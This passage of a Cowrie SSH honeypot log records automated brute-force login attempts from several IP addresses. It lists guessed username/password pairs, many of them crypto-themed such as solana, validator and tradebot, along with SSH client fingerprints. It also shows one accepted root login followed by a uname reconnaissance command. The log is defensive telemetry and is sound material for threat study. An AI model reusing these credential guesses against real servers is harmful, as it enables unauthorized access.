a20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:23.610477Z","src_ip":"195.178.110.218","session":"07d8fc1ae6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:23.849245Z","src_ip":"195.178.110.218","session":"07d8fc1ae6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:24.934123Z","src_ip":"195.178.110.218","session":"07d8fc1ae6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"8acd4b6e742e","protocol":"ssh","message":"New connection: 92.118.39.92:45496 (159.203.135.109:22) [session: 8acd4b6e742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:40.919322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:40.923952Z","src_ip":"92.118.39.92","session":"8acd4b6e742e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:41.028706Z","src_ip":"92.118.39.92","session":"8acd4b6e742e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot123","message":"login attempt [bot/bot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:41.342068Z","src_ip":"92.118.39.92","session":"8acd4b6e742e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:42.452490Z","src_ip":"92.118.39.92","session":"8acd4b6e742e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":39346,"dst_ip":"159.203.135.109","dst_port":22,"session":"142f1bde9aaf","protocol":"ssh","message":"New connection: 92.118.39.72:39346 (159.203.135.109:22) [session: 142f1bde9aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:44.626090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:44.629354Z","src_ip":"92.118.39.72","session":"142f1bde9aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:44.736790Z","src_ip":"92.118.39.72","session":"142f1bde9aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:45.052482Z","src_ip":"92.118.39.72","session":"142f1bde9aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:46.158318Z","src_ip":"92.118.39.72","session":"142f1bde9aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50458,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cdb99bb105c","protocol":"ssh","message":"New connection: 162.120.6.20:50458 (159.203.135.109:22) [session: 8cdb99bb105c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.145139Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.218283Z","src_ip":"162.120.6.20","session":"8cdb99bb105c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50462,"dst_ip":"159.203.135.109","dst_port":22,"session":"af000f95a543","protocol":"ssh","message":"New connection: 162.120.6.20:50462 (159.203.135.109:22) [session: af000f95a543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.287771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.292691Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.364582Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw9rd","message":"login attempt [root/P@ssw9rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.579689Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.761392Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.764719Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.839903Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:41.844555Z","src_ip":"162.120.6.20","session":"af000f95a543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37088,"dst_ip":"10.17.0.5","dst_port":22,"session":"210ebb88972d","protocol":"ssh","message":"New connection: 80.94.92.184:37088 (10.17.0.5:22) [session: 210ebb88972d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:45.377936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:45.391180Z","src_ip":"80.94.92.184","session":"210ebb88972d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:45.584064Z","src_ip":"80.94.92.184","session":"210ebb88972d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:46.357681Z","src_ip":"80.94.92.184","session":"210ebb88972d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:47.788697Z","src_ip":"80.94.92.184","session":"210ebb88972d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":49326,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60c7eee3ca1","protocol":"ssh","message":"New connection: 92.118.39.72:49326 (159.203.135.109:22) [session: e60c7eee3ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:52.451179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:52.456224Z","src_ip":"92.118.39.72","session":"e60c7eee3ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:52.562239Z","src_ip":"92.118.39.72","session":"e60c7eee3ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"blockchain","message":"login attempt [blockchain/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:52.877619Z","src_ip":"92.118.39.72","session":"e60c7eee3ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:53.988068Z","src_ip":"92.118.39.72","session":"e60c7eee3ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60960,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4349d478b6","protocol":"ssh","message":"New connection: 92.118.39.92:60960 (159.203.135.109:22) [session: 2d4349d478b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:57.472225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:57.477567Z","src_ip":"92.118.39.92","session":"2d4349d478b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:57.578592Z","src_ip":"92.118.39.92","session":"2d4349d478b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tradebot","password":"bot123","message":"login attempt [tradebot/bot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:57.998674Z","src_ip":"92.118.39.92","session":"2d4349d478b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:18:59.106210Z","src_ip":"92.118.39.92","session":"2d4349d478b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36292,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af37f059606","protocol":"ssh","message":"New connection: 195.178.110.218:36292 (10.17.0.5:22) [session: 9af37f059606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:19:11.531881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:19:11.535774Z","src_ip":"195.178.110.218","session":"9af37f059606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:19:11.616741Z","src_ip":"195.178.110.218","session":"9af37f059606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:19:11.852584Z","src_ip":"195.178.110.218","session":"9af37f059606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:19:12.934147Z","src_ip":"195.178.110.218","session":"9af37f059606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":59216,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c3a932302b","protocol":"ssh","message":"New connection: 92.118.39.72:59216 (159.203.135.109:22) [session: b7c3a932302b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:20:54.379314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:20:54.384252Z","src_ip":"92.118.39.72","session":"b7c3a932302b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@o